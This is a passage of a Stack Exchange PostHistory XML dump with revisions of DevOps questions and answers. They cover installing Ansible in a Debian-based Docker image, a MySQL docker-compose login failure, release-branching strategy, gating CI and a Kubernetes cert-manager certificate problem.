https://i.stack.imgur.com/lKG1P.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/knaf5.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="32564" PostHistoryTypeId="50" PostId="9034" RevisionGUID="5f917be8-0a9e-4617-a512-1deea7855443" CreationDate="2020-01-25T18:03:15.407" UserId="-1" />
  <row Id="32565" PostHistoryTypeId="2" PostId="10596" RevisionGUID="f2fe4fc3-0e0c-4c58-8d79-30cd8d8a5c27" CreationDate="2020-01-25T18:22:11.973" UserId="13111" Text="This is how I managed to test your scenario manually against the `php:7.0-apache` docker image.&#xD;&#xA;&#xD;&#xA;Note that, in your question, you are following the install guide for ubuntu which will fail anyway on a debian stretch based image. I'm using the correct scenario below. See [doc](https://docs.ansible.com/ansible/latest/installation_guide/intro_installation.html#installing-ansible-on-debian) for more details. I also kept the install if sudo which was in your initial provisioning script.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;apt-get update&#xD;&#xA;apt-get install -y gnupg sudo&#xD;&#xA;apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 93C4A3FD7BB9C367&#xD;&#xA;echo deb http://ppa.launchpad.net/ansible/ansible/ubuntu trusty main &gt;&gt; /etc/apt/sources.list&#xD;&#xA;apt-get update&#xD;&#xA;apt-get install -y ansible&#xD;&#xA;apt-get clean&#xD;&#xA;```&#xD;&#xA;After playing this, result:&#xD;&#xA;```&#xD;&#xA;root@18ab6da8ac92:/var/www/html# ansible --version              &#xD;&#xA;ansible 2.9.4&#xD;&#xA;  config file = /etc/ansible/ansible.cfg&#xD;&#xA;  configured module search path = [u'/root/.ansible/plugins/modules', u'/usr/share/ansible/plugins/modules']&#xD;&#xA;  ansible python module location = /usr/lib/python2.7/dist-packages/ansible&#xD;&#xA;  executable location = /usr/bin/ansible&#xD;&#xA;  python version = 2.7.13 (default, Sep 26 2018, 18:42:22) [GCC 6.3.0 20170516]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Now, the above is installing ansible from deb packages that will run in python 2.7 that has been obsoleted. I much rather prefer the following scenario using pip that will install ansible as well but in python3 and does not need to add a supplementary apt repo neither requires to install gnupg&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;apt-get update&#xD;&#xA;apt-get install -y python3-pip&#xD;&#xA;pip3 install --upgrade pip&#xD;&#xA;pip install ansible&#xD;&#xA;apt-get clean&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;And the result&#xD;&#xA;```&#xD;&#xA;root@e6b73a5f1d59:/var/www/html# ansible --version&#xD;&#xA;ansible 2.9.4&#xD;&#xA;  config file = None&#xD;&#xA;  configured module search path = ['/root/.ansible/plugins/modules', '/usr/share/ansible/plugins/modules']&#xD;&#xA;  ansible python module location = /usr/local/lib/python3.5/dist-packages/ansible&#xD;&#xA;  executable location = /usr/local/bin/ansible&#xD;&#xA;  python version = 3.5.3 (default, Sep 27 2018, 17:25:39) [GCC 6.3.0 20170516]&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="32566" PostHistoryTypeId="2" PostId="10597" RevisionGUID="f77036a3-4679-4bfc-8b3c-a5f79e6f762f" CreationDate="2020-01-26T00:08:04.073" UserId="18304" Text="I am trying to copy multiple files to the target like so:&#xD;&#xA;&#xD;&#xA;      tasks:&#xD;&#xA;      - name: &quot;Copying files&quot;&#xD;&#xA;        copy:&#xD;&#xA;          src: files/{{ item }}&#xD;&#xA;          dest: /my/folder/&#xD;&#xA;        with_items:&#xD;&#xA;          - file.txt&#xD;&#xA;&#xD;&#xA;The files directory is in the same directory as the Ansible playbook. However when running the script, I get this error:&#xD;&#xA;&#xD;&#xA;    docker: TASK [Gathering Facts] *********************************************************&#xD;&#xA;        docker: fatal: [test]: FAILED! =&gt; {&quot;msg&quot;: &quot;failed to transfer file to /home/user/.ansible/tmp/ansible-local-123331or28t2a/tmp6st_fxv1 ~user/.ansible/tmp/ansible-tmp-1579990845.0734024-189911264147319/AnsiballZ_setup.py:\n\n\n&quot;}&#xD;&#xA;        docker:&#xD;&#xA;&#xD;&#xA;Why is that? Why can Ansible not copy the files to the target machine?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32567" PostHistoryTypeId="1" PostId="10597" RevisionGUID="f77036a3-4679-4bfc-8b3c-a5f79e6f762f" CreationDate="2020-01-26T00:08:04.073" UserId="18304" Text="Ansible - Copy multiple files" ContentLicense="CC BY-SA 4.0" />
  <row Id="32568" PostHistoryTypeId="3" PostId="10597" RevisionGUID="f77036a3-4679-4bfc-8b3c-a5f79e6f762f" CreationDate="2020-01-26T00:08:04.073" UserId="18304" Text="&lt;docker&gt;&lt;ansible&gt;&lt;provisioning&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32569" PostHistoryTypeId="5" PostId="10596" RevisionGUID="0fde0665-1ea5-463c-94ab-e7e76a4aa89c" CreationDate="2020-01-26T11:23:06.777" UserId="13111" Comment="Be clearer on install scenario for  stretch" Text="This is how I managed to test your scenario manually against the `php:7.0-apache` docker image. Note that this image is based on `debian:stretch`. In your question, you are following the install guide for ubuntu which will fail anyway in debian stretch.&#xD;&#xA;&#xD;&#xA;I'm using the correct scenario below. See the [ansible install documentation](https://docs.ansible.com/ansible/latest/installation_guide/intro_installation.html#installing-ansible-on-debian) for more details. I also kept the install if sudo which was in your initial provisioning script.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;apt-get update&#xD;&#xA;apt-get install -y gnupg sudo&#xD;&#xA;apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 93C4A3FD7BB9C367&#xD;&#xA;echo deb http://ppa.launchpad.net/ansible/ansible/ubuntu trusty main &gt;&gt; /etc/apt/sources.list&#xD;&#xA;apt-get update&#xD;&#xA;apt-get install -y ansible&#xD;&#xA;apt-get clean&#xD;&#xA;```&#xD;&#xA;After playing this, result:&#xD;&#xA;```&#xD;&#xA;root@18ab6da8ac92:/var/www/html# ansible --version              &#xD;&#xA;ansible 2.9.4&#xD;&#xA;  config file = /etc/ansible/ansible.cfg&#xD;&#xA;  configured module search path = [u'/root/.ansible/plugins/modules', u'/usr/share/ansible/plugins/modules']&#xD;&#xA;  ansible python module location = /usr/lib/python2.7/dist-packages/ansible&#xD;&#xA;  executable location = /usr/bin/ansible&#xD;&#xA;  python version = 2.7.13 (default, Sep 26 2018, 18:42:22) [GCC 6.3.0 20170516]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Now, the above is installing ansible from deb packages that will run in python 2.7 that has been obsoleted. I much rather prefer the following scenario using pip that will install ansible as well but in python3 and does not need to add a supplementary apt repo neither requires to install gnupg&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;apt-get update&#xD;&#xA;apt-get install -y python3-pip&#xD;&#xA;pip3 install --upgrade pip&#xD;&#xA;pip install ansible&#xD;&#xA;apt-get clean&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;And the result&#xD;&#xA;```&#xD;&#xA;root@e6b73a5f1d59:/var/www/html# ansible --version&#xD;&#xA;ansible 2.9.4&#xD;&#xA;  config file = None&#xD;&#xA;  configured module search path = ['/root/.ansible/plugins/modules', '/usr/share/ansible/plugins/modules']&#xD;&#xA;  ansible python module location = /usr/local/lib/python3.5/dist-packages/ansible&#xD;&#xA;  executable location = /usr/local/bin/ansible&#xD;&#xA;  python version = 3.5.3 (default, Sep 27 2018, 17:25:39) [GCC 6.3.0 20170516]&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="32570" PostHistoryTypeId="2" PostId="10598" RevisionGUID="49cd8e24-ff83-43ba-acf5-52d529184334" CreationDate="2020-01-26T14:54:22.147" UserId="19324" Text="I'm configuring a docker compose file, and the first step is to configure the MySQL service (so I can further use in my app service), but no matter what, I cannot enter MySQL within the container, even when I set all environments. That's how my docker-compose.yml file looks like:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;version: &quot;3.3&quot;&#xD;&#xA;&#xD;&#xA;services:&#xD;&#xA;  db:&#xD;&#xA;    image: mysql:5.7&#xD;&#xA;    volumes:&#xD;&#xA;      - ./tmp/db:/var/lib/mysql&#xD;&#xA;    restart: always&#xD;&#xA;    environment:&#xD;&#xA;      MYSQL_ROOT_PASSWORD: root&#xD;&#xA;      MYSQL_DATABASE: wordpress&#xD;&#xA;      MYSQL_USER: wordpress&#xD;&#xA;      MYSQL_PASSWORD: wordpress&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I've tried SEVERAL (I literally lost count of how many) other configurations, and none of them work, it just doesn't work.&#xD;&#xA;&#xD;&#xA;If I go inside the container with `docker exec it ${CONTAINER_NUMBER} bash`&#xD;&#xA;and try to access MySQL, it will ALWAYS return:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: YES)&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Or if I try with the user wordpress:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;ERROR 1045 (28000): Access denied for user 'wordpress'@'localhost' (using password: YES)&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I'm pretty confident that I spent more than 8 hours only changing the configuration, so the only thing I can think right now is: the image is broken.&#xD;&#xA;&#xD;&#xA;I'm in a Ubuntu 19, not sure if this makes any difference." ContentLicense="CC BY-SA 4.0" />
  <row Id="32571" PostHistoryTypeId="1" PostId="10598" RevisionGUID="49cd8e24-ff83-43ba-acf5-52d529184334" CreationDate="2020-01-26T14:54:22.147" UserId="19324" Text="Can't make MySQL 5.7 work with Docker Compose, no matter what" ContentLicense="CC BY-SA 4.0" />
  <row Id="32572" PostHistoryTypeId="3" PostId="10598" RevisionGUID="49cd8e24-ff83-43ba-acf5-52d529184334" CreationDate="2020-01-26T14:54:22.147" UserId="19324" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;containers&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32573" PostHistoryTypeId="50" PostId="5209" RevisionGUID="84ff116d-2ac8-4783-8103-9080e578e487" CreationDate="2020-01-26T16:00:55.103" UserId="-1" />
  <row Id="32574" PostHistoryTypeId="2" PostId="10599" RevisionGUID="8b9f1cf3-4a04-49b1-adb8-5f31557b84e3" CreationDate="2020-01-26T18:11:08.183" UserId="47" Text="It depends on what do you want/expect from your release strategy.&#xD;&#xA;&#xD;&#xA;Since you're at peace with using feature branches, it means you're also at peace with potentially complicated branch merges and the risks they bring into your master branch: breakages, delays, etc.&#xD;&#xA;&#xD;&#xA;If you have strict release deadlines you'll have a hard time meeting them directly from master, pulling release branches off master after the needed feature branches are merged will give you a chance to stabilize the release codebase by isolating it from changes for future releases which I presume continue to be merged into master. The smaller changes with a lower commit rate should significantly lower the risks compared with the master branch.&#xD;&#xA;&#xD;&#xA;Release branches also allow you to provide to your customers release hot fixes and complex release stories: multiple simultaneously supported releases, major/minor/incremental releases, etc. It would be very difficult if not impossible to achieve these while releasing directly from master.&#xD;&#xA;&#xD;&#xA;The drawbacks of using release branches:&#xD;&#xA;&#xD;&#xA;- your costs will increase as each release branch will require maintenance resources, your teams will have to split focus between the master and release branches (which will diverge), context switching may not be insignificant.&#xD;&#xA;- issues uncovered either on the release branch or on the master branch but also affecting the release branch(es) may have to be separately developed and committed on each of the affected branches (since the branches diverge the fixes may not necessarily be identical in all branch contexts).&#xD;&#xA;&#xD;&#xA;If the advantages the release branches offer are of no interest or if their disadvantages are show-stoppers for you and you're fine with an &quot;as-is/take it or leave it&quot; basis for your releases then just use selected master branch refpoints for release candidates and, if they meet your release quality criteria, tag them as releases. If after that any issue is being found with a release - just wait for a subsequent release with the fix (but it may contain other stuff as well).&#xD;&#xA;&#xD;&#xA;The major disadvantage of this approach is the difficulty of picking your release candidates in full flow of changes going into master (drinking from the fire hose?). The chances of finding good candidates can be pretty low. What if you don't find any? Attempting to throttle the rate of commits going into master in an effort to stabilize it prior to a release will translate into delayed integration (features staying in their dev branch silos longer than absolutely needed), increasingly complicated branch merges, which will eventually cause compounding delays/slips in all your future releases.&#xD;&#xA;&#xD;&#xA;Up to you to chose the lesser evil. This is why I'm a fan of continuous integration - at least the complicated merges are out of the picture. The release strategy considerations still apply with CI - the release strategy kicks in after the integration is done - but the 2 evils are &quot;less bad&quot; :) From my experience significantly less. And with a gating CI system in place it's possible to keep master stable regardless of the commit rate.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32575" PostHistoryTypeId="2" PostId="10600" RevisionGUID="319194d4-9e28-4075-9d8b-339e7da096fd" CreationDate="2020-01-26T19:23:05.197" UserId="47" Text="I often find myself in the position of mentioning gating CI systems and I thought it would be good to have a post I can easily reference explaining what that is. So here goes:&#xD;&#xA;&#xD;&#xA;What is a gating CI system and how is it different from the traditional CI systems (i.e. the majority of the CI systems/tools presently out there)?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32576" PostHistoryTypeId="1" PostId="10600" RevisionGUID="319194d4-9e28-4075-9d8b-339e7da096fd" CreationDate="2020-01-26T19:23:05.197" UserId="47" Text="What is a gating continuous integration (CI) system?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32577" PostHistoryTypeId="3" PostId="10600" RevisionGUID="319194d4-9e28-4075-9d8b-339e7da096fd" CreationDate="2020-01-26T19:23:05.197" UserId="47" Text="&lt;continuous-integration&gt;&lt;terminology&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32578" PostHistoryTypeId="2" PostId="10601" RevisionGUID="4d4c3bbd-22b7-44f7-9640-64c59b4a0cff" CreationDate="2020-01-26T20:03:56.490" UserId="10599" Text="&gt; What is the recommended practice?&#xD;&#xA;&#xD;&#xA;The book ”Accelerate” by Forsgen, Humble and Kim documents their research that teams that use fewer long-lived branches are more successful.&#xD;&#xA;&#xD;&#xA;The question is then what is the best minimum set of branches for a given team. The answer to that, like many things, is ”it depends”. A team that pushes into production a dozen times a day will prefer release from master. A team that releases once a sprint into an integration test environment for a week before it goes live will generally prefer two branches. &#xD;&#xA;&#xD;&#xA;&gt; Should I use a release branch to push changes out to production or release it off master branch &#xD;&#xA;&#xD;&#xA;My personal experience is that adding branches later if you need them is easy but removing branches is very hard. So given that we want to minimise the number of branches I recommend that small teams who release often always release from a tag applied to master. It's very easy to create a branch from the tag that was last up live if you do need to create a short-live patch release branch. The point is that you want that to be the exception not the rule give the research in the book named above.&#xD;&#xA;&#xD;&#xA;I have seen many teams use a two branch approach. To common ones are:&#xD;&#xA;&#xD;&#xA;1. Integrate code into a ”develop” branch and deploy to an integration test environment. Then cherry-pick signed-off work down to master where it is tagged to release.&#xD;&#xA;2. Integrate code into ”master” and deploy into a test environment. Then cherry-pick signed-off onto a long-lived ”release”  branch where it is tagged to released.&#xD;&#xA;&#xD;&#xA;These approaches are actually identical. The reason to take this “two branches” approach is so that features can be released independently and reordered. &#xD;&#xA;&#xD;&#xA;&gt; Not to mention, there is still some amount of manual testing and that happens on the master branch after developer has completed the changes in feature branch and automation testing, code review is completed and changes are merged to master.&#xD;&#xA;&#xD;&#xA;There isn’t really enough information in your question about how your team actually works to know whether a one or two branch strategy would be a good fit. Your actual release, testing and support ways-of-working dictate the best strategy for your team.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32579" PostHistoryTypeId="5" PostId="10601" RevisionGUID="249f2285-9e7c-4545-8836-6a2d32319f7d" CreationDate="2020-01-26T20:09:20.863" UserId="10599" Comment="added 9 characters in body" Text="&gt; What is the recommended practice?&#xD;&#xA;&#xD;&#xA;The book ”Accelerate” by Forsgen, Humble and Kim documents their research that teams that use fewer long-lived branches are more successful.&#xD;&#xA;&#xD;&#xA;The question is then what is the best minimum set of branches for a given team. The answer to that, like many things, is ”it depends”. A team that pushes into production a dozen times a day will prefer tag then release from master. A team that releases once a sprint into an integration test environment for a week before it goes live will generally prefer two branches. &#xD;&#xA;&#xD;&#xA;&gt; Should I use a release branch to push changes out to production or release it off master branch &#xD;&#xA;&#xD;&#xA;My personal experience is that adding branches later if you need them is easy but removing branches is very hard. So given that we want to minimise the number of branches I recommend that small teams who release often always release from a tag applied to master. It's very easy to create a branch from the tag that was last put live if you do need to create a short-live patch release branch. The point is that you want that to be the exception not the rule give the research in the book named above.&#xD;&#xA;&#xD;&#xA;I have seen many teams use a two branch approach. To common ones are:&#xD;&#xA;&#xD;&#xA;1. Integrate code into a ”develop” branch and deploy to an integration test environment. Then cherry-pick signed-off work down to master where it is tagged to release.&#xD;&#xA;2. Integrate code into ”master” and deploy into a test environment. Then cherry-pick signed-off onto a long-lived ”release”  branch where it is tagged to released.&#xD;&#xA;&#xD;&#xA;These approaches are actually identical. The reason to take this “two branches” approach is so that features can be released independently and reordered. &#xD;&#xA;&#xD;&#xA;&gt; Not to mention, there is still some amount of manual testing and that happens on the master branch after developer has completed the changes in feature branch and automation testing, code review is completed and changes are merged to master.&#xD;&#xA;&#xD;&#xA;There isn’t really enough information in your question about how your team actually works to know whether a one or two branch strategy would be a good fit. Your actual release, testing and support ways-of-working dictate the best strategy for your team.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32580" PostHistoryTypeId="5" PostId="10596" RevisionGUID="10751390-8346-4fd3-b350-5e8aa77fe451" CreationDate="2020-01-26T20:48:52.357" UserId="13111" Comment="minor typo" Text="This is how I managed to test your scenario manually against the `php:7.0-apache` docker image. Note that this image is based on `debian:stretch`. In your question, you are following the install guide for ubuntu which will fail anyway in debian stretch.&#xD;&#xA;&#xD;&#xA;I'm using the correct scenario below. See the [ansible install documentation](https://docs.ansible.com/ansible/latest/installation_guide/intro_installation.html#installing-ansible-on-debian) for more details. I also kept the install of sudo which was in your initial provisioning script.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;apt-get update&#xD;&#xA;apt-get install -y gnupg sudo&#xD;&#xA;apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 93C4A3FD7BB9C367&#xD;&#xA;echo deb http://ppa.launchpad.net/ansible/ansible/ubuntu trusty main &gt;&gt; /etc/apt/sources.list&#xD;&#xA;apt-get update&#xD;&#xA;apt-get install -y ansible&#xD;&#xA;apt-get clean&#xD;&#xA;```&#xD;&#xA;After playing this, result:&#xD;&#xA;```&#xD;&#xA;root@18ab6da8ac92:/var/www/html# ansible --version              &#xD;&#xA;ansible 2.9.4&#xD;&#xA;  config file = /etc/ansible/ansible.cfg&#xD;&#xA;  configured module search path = [u'/root/.ansible/plugins/modules', u'/usr/share/ansible/plugins/modules']&#xD;&#xA;  ansible python module location = /usr/lib/python2.7/dist-packages/ansible&#xD;&#xA;  executable location = /usr/bin/ansible&#xD;&#xA;  python version = 2.7.13 (default, Sep 26 2018, 18:42:22) [GCC 6.3.0 20170516]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Now, the above is installing ansible from deb packages that will run in python 2.7 that has been obsoleted. I much rather prefer the following scenario using pip that will install ansible as well but in python3 and does not need to add a supplementary apt repo neither requires to install gnupg&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;apt-get update&#xD;&#xA;apt-get install -y python3-pip&#xD;&#xA;pip3 install --upgrade pip&#xD;&#xA;pip install ansible&#xD;&#xA;apt-get clean&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;And the result&#xD;&#xA;```&#xD;&#xA;root@e6b73a5f1d59:/var/www/html# ansible --version&#xD;&#xA;ansible 2.9.4&#xD;&#xA;  config file = None&#xD;&#xA;  configured module search path = ['/root/.ansible/plugins/modules', '/usr/share/ansible/plugins/modules']&#xD;&#xA;  ansible python module location = /usr/local/lib/python3.5/dist-packages/ansible&#xD;&#xA;  executable location = /usr/local/bin/ansible&#xD;&#xA;  python version = 3.5.3 (default, Sep 27 2018, 17:25:39) [GCC 6.3.0 20170516]&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="32581" PostHistoryTypeId="2" PostId="10602" RevisionGUID="410ec3f5-aaf4-45f0-a819-af0efb32175f" CreationDate="2020-01-26T21:10:34.360" UserId="13111" Text="First of all: your `docker-compose.yml` file is absolutely fine. I just tested it, created the necessary dir for bind mount, started the compose project (`docker-compose up -d`) and was able to login into mysql (`docker-compose exec db bash -c &quot;mysql -u root -proot&quot;` - worked with `wordpress` as well).&#xD;&#xA;&#xD;&#xA;So now I'll take a guess (which is usually good...): you already have an initialized mysql file system in `./tmp/db` from a previous run (or copied from somewhere else). In this case, here is what you might have missed in the [mysql docker image documentation](https://hub.docker.com/_/mysql/) in the section on environment variables:&#xD;&#xA;&#xD;&#xA;&gt; Do note that none of the variables below will have any effect if you start the container with a data directory that already contains a database: any pre-existing database will always be left untouched on container startup&#xD;&#xA;&#xD;&#xA;If you want to have a look under the hood how this happens, you can study the [image entrypoint script](https://github.com/docker-library/mysql/blob/6952c5d5a9889311157362c528d65dc2e37ff660/5.7/docker-entrypoint.sh)&#xD;&#xA;&#xD;&#xA;So, as you may have now understood, your container starts but it is using the existing mysql filesystem with the previous settled dbs, data, users and passwords.&#xD;&#xA;&#xD;&#xA;Simply stop your container, delete any files in `./tmp/db` and restart from scratch: you should get your blank db install and be able to login in mysql with the users/pass defined in `docker-compose.yml`" ContentLicense="CC BY-SA 4.0" />
  <row Id="32582" PostHistoryTypeId="5" PostId="10602" RevisionGUID="69bb9e2e-513b-4b30-ba74-7a31a7e10bbd" CreationDate="2020-01-26T21:16:12.477" UserId="13111" Comment="deleted 1 character in body" Text="First of all: your `docker-compose.yml` file is absolutely fine. I just tested it, created the necessary dir for bind mount, started the compose project (`docker-compose up -d`) and was able to login into mysql (`docker-compose exec db bash -c &quot;mysql -u root -proot&quot;` - worked with `wordpress` as well).&#xD;&#xA;&#xD;&#xA;So now I'll take a guess (which is usually good...): you already have an initialized mysql filesystem in `./tmp/db` from a previous run (or copied from somewhere else). In this case, here is what you might have missed in the [mysql docker image documentation](https://hub.docker.com/_/mysql/) in the section on environment variables:&#xD;&#xA;&#xD;&#xA;&gt; Do note that none of the variables below will have any effect if you start the container with a data directory that already contains a database: any pre-existing database will always be left untouched on container startup&#xD;&#xA;&#xD;&#xA;If you want to have a look under the hood how this happens, you can study the [image entrypoint script](https://github.com/docker-library/mysql/blob/6952c5d5a9889311157362c528d65dc2e37ff660/5.7/docker-entrypoint.sh)&#xD;&#xA;&#xD;&#xA;So, as you may have now understood, your container starts but it is using the existing mysql filesystem with the previous settled dbs, data, users and passwords.&#xD;&#xA;&#xD;&#xA;Simply stop your container, delete any files and directories in `./tmp/db` and restart from scratch: you should get your blank db install and be able to login in mysql with the users/pass defined in `docker-compose.yml`" ContentLicense="CC BY-SA 4.0" />
  <row Id="32583" PostHistoryTypeId="2" PostId="10603" RevisionGUID="d5d8f7ec-11ff-4fa4-ba05-bf4882d82a33" CreationDate="2020-01-26T22:02:05.050" UserId="11221" Text="I'm trying to get a kubernetes cluster using the nginx ingress controller and cert manager to get an SSL cert from lets encrypt. Currently is appears the cert has been issued however I am unable to get it to load properly inside Chrome or via curl.&#xD;&#xA;&#xD;&#xA;Below are some config files that show the current config and following that some describes.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;apiVersion: cert-manager.io/v1alpha2&#xD;&#xA;kind: Issuer&#xD;&#xA;metadata:&#xD;&#xA;  name: letsencrypt-prod&#xD;&#xA;  namespace: cert-manager-prod&#xD;&#xA;spec:&#xD;&#xA;  selfSigned: {}&#xD;&#xA;---&#xD;&#xA;apiVersion: cert-manager.io/v1alpha2&#xD;&#xA;kind: Certificate&#xD;&#xA;metadata:&#xD;&#xA;  name: letsencrypt-prod&#xD;&#xA;  namespace: cert-manager-prod&#xD;&#xA;spec:&#xD;&#xA;  commonName: me@example.com &lt;- This is not actually what I have just for example reasons&#xD;&#xA;  secretName: letsencrypt-prod-tls&#xD;&#xA;  issuerRef:&#xD;&#xA;    name: letsencrypt-prod&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;apiVersion: extensions/v1beta1&#xD;&#xA;kind: Ingress&#xD;&#xA;metadata:&#xD;&#xA;  annotations:&#xD;&#xA;    # add an annotation indicating the issuer to use.&#xD;&#xA;    kubernetes.io/ingress.class: &quot;nginx&quot;&#xD;&#xA;    cert-manager.io/cluster-issuer: &quot;letsencrypt-prod&quot;&#xD;&#xA;    # needed to allow the front end to talk to the back end&#xD;&#xA;    nginx.ingress.kubernetes.io/cors-allow-origin: &quot;https://portal.&lt;domain&gt;.com&quot;&#xD;&#xA;    nginx.ingress.kubernetes.io/cors-allow-credentials: &quot;true&quot;&#xD;&#xA;    nginx.ingress.kubernetes.io/enable-cors: &quot;true&quot;&#xD;&#xA;    nginx.ingress.kubernetes.io/cors-allow-methods: &quot;GET, PUT, POST, DELETE, PATCH, OPTIONS&quot;&#xD;&#xA;    # needed for monitoring - maybe&#xD;&#xA;    prometheus.io/scrape: &quot;true&quot;&#xD;&#xA;    prometheus.io/port: &quot;10254&quot;&#xD;&#xA;    #for nginx ingress controller&#xD;&#xA;    ad.datadoghq.com/nginx-ingress-controller.check_names: '[&quot;nginx&quot;,&quot;nginx_ingress_controller&quot;]'&#xD;&#xA;    ad.datadoghq.com/nginx-ingress-controller.init_configs: '[{},{}]'&#xD;&#xA;    ad.datadoghq.com/nginx-ingress-controller.instances: '[{&quot;nginx_status_url&quot;: &quot;http://%%host%%:18080/nginx_status&quot;},{&quot;prometheus_url&quot;: &quot;http://%%host%%:10254/metrics&quot;}]'&#xD;&#xA;    ad.datadoghq.com/nginx-ingress-controller.logs: '[{&quot;service&quot;: &quot;controller&quot;, &quot;source&quot;:&quot;nginx-ingress-controller&quot;}]'&#xD;&#xA;  name: prod-ingress&#xD;&#xA;  namespace: production&#xD;&#xA;spec:&#xD;&#xA;  rules:&#xD;&#xA;  - host: api.&lt;domain&gt;.com&#xD;&#xA;    http:&#xD;&#xA;      paths:&#xD;&#xA;      - backend:&#xD;&#xA;          serviceName: api&#xD;&#xA;          servicePort: 8090&#xD;&#xA;        path: /&#xD;&#xA;  tls: # &lt; placing a host in the TLS config will indicate a certificate should be created&#xD;&#xA;  - hosts:&#xD;&#xA;    - api.&lt;domain&gt;.com&#xD;&#xA;    secretName: prod-ingress-cert # &lt; cert-manager will store the created certificate in this secre&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;me@LAPTOP-LINUX:~/Projects/k8/tmp$ kubectl get certificates&#xD;&#xA;NAME                READY   SECRET              AGE&#xD;&#xA;prod-ingress-cert   False   prod-ingress-cert   30m&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Name:         prod-ingress-cert&#xD;&#xA;Namespace:    production&#xD;&#xA;Labels:       &lt;none&gt;&#xD;&#xA;Annotations:  &lt;none&gt;&#xD;&#xA;API Version:  cert-manager.io/v1alpha2&#xD;&#xA;Kind:         Certificate&#xD;&#xA;Metadata:&#xD;&#xA;  Creation Timestamp:  2020-01-26T21:29:07Z&#xD;&#xA;  Generation:          1&#xD;&#xA;  Owner References:&#xD;&#xA;    API Version:           extensions/v1beta1&#xD;&#xA;    Block Owner Deletion:  true&#xD;&#xA;    Controller:            true&#xD;&#xA;    Kind:                  Ingress&#xD;&#xA;    Name:                  prod-ingress&#xD;&#xA;    UID:                   adec15ea-4cde-4376-8e6a-306586e57119&#xD;&#xA;  Resource Version:        2780&#xD;&#xA;  Self Link:               /apis/cert-manager.io/v1alpha2/namespaces/production/certificates/prod-ingress-cert&#xD;&#xA;  UID:                     c86bf4aa-8435-4da0-a822-1a0e9d1df38e&#xD;&#xA;Spec:&#xD;&#xA;  Dns Names:&#xD;&#xA;    api.pageanengineer.com&#xD;&#xA;  Issuer Ref:&#xD;&#xA;    Group:      cert-manager.io&#xD;&#xA;    Kind:       ClusterIssuer&#xD;&#xA;    Name:       letsencrypt-prod&#xD;&#xA;  Secret Name:  prod-ingress-cert&#xD;&#xA;Status:&#xD;&#xA;  Conditions:&#xD;&#xA;    Last Transition Time:  2020-01-26T21:29:07Z&#xD;&#xA;    Message:               Waiting for CertificateRequest &quot;prod-ingress-cert-1024021523&quot; to complete&#xD;&#xA;    Reason:                InProgress&#xD;&#xA;    Status:                False&#xD;&#xA;    Type:                  Ready&#xD;&#xA;Events:&#xD;&#xA;  Type    Reason        Age   From          Message&#xD;&#xA;  ----    ------        ----  ----          -------&#xD;&#xA;  Normal  GeneratedKey  30m   cert-manager  Generated a new private key&#xD;&#xA;  Normal  Requested     30m   cert-manager  Created new CertificateRequest resource &quot;prod-ingress-cert-1024021523&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;That's everything I can think of that might be of use in resolving this issue. I should note I have a similar setup running on development (well did till I took the cluster down today) that is/was working. " ContentLicense="CC BY-SA 4.0" />
  <row Id="32584" PostHistoryTypeId="1" PostId="10603" RevisionGUID="d5d8f7ec-11ff-4fa4-ba05-bf4882d82a33" CreationDate="2020-01-26T22:02:05.050" UserId="11221" Text="Nginx unable to get SSL cert to work" ContentLicense="CC BY-SA 4.0" />
  <row Id="32585" PostHistoryTypeId="3" PostId="10603" RevisionGUID="d5d8f7ec-11ff-4fa4-ba05-bf4882d82a33" CreationDate="2020-01-26T22:02:05.050" UserId="11221" Text="&lt;kubernetes&gt;&lt;nginx&gt;&lt;letsencrypt&gt;&lt;cert-manager&gt;" ContentLicense="CC BY-SA 4.0" />
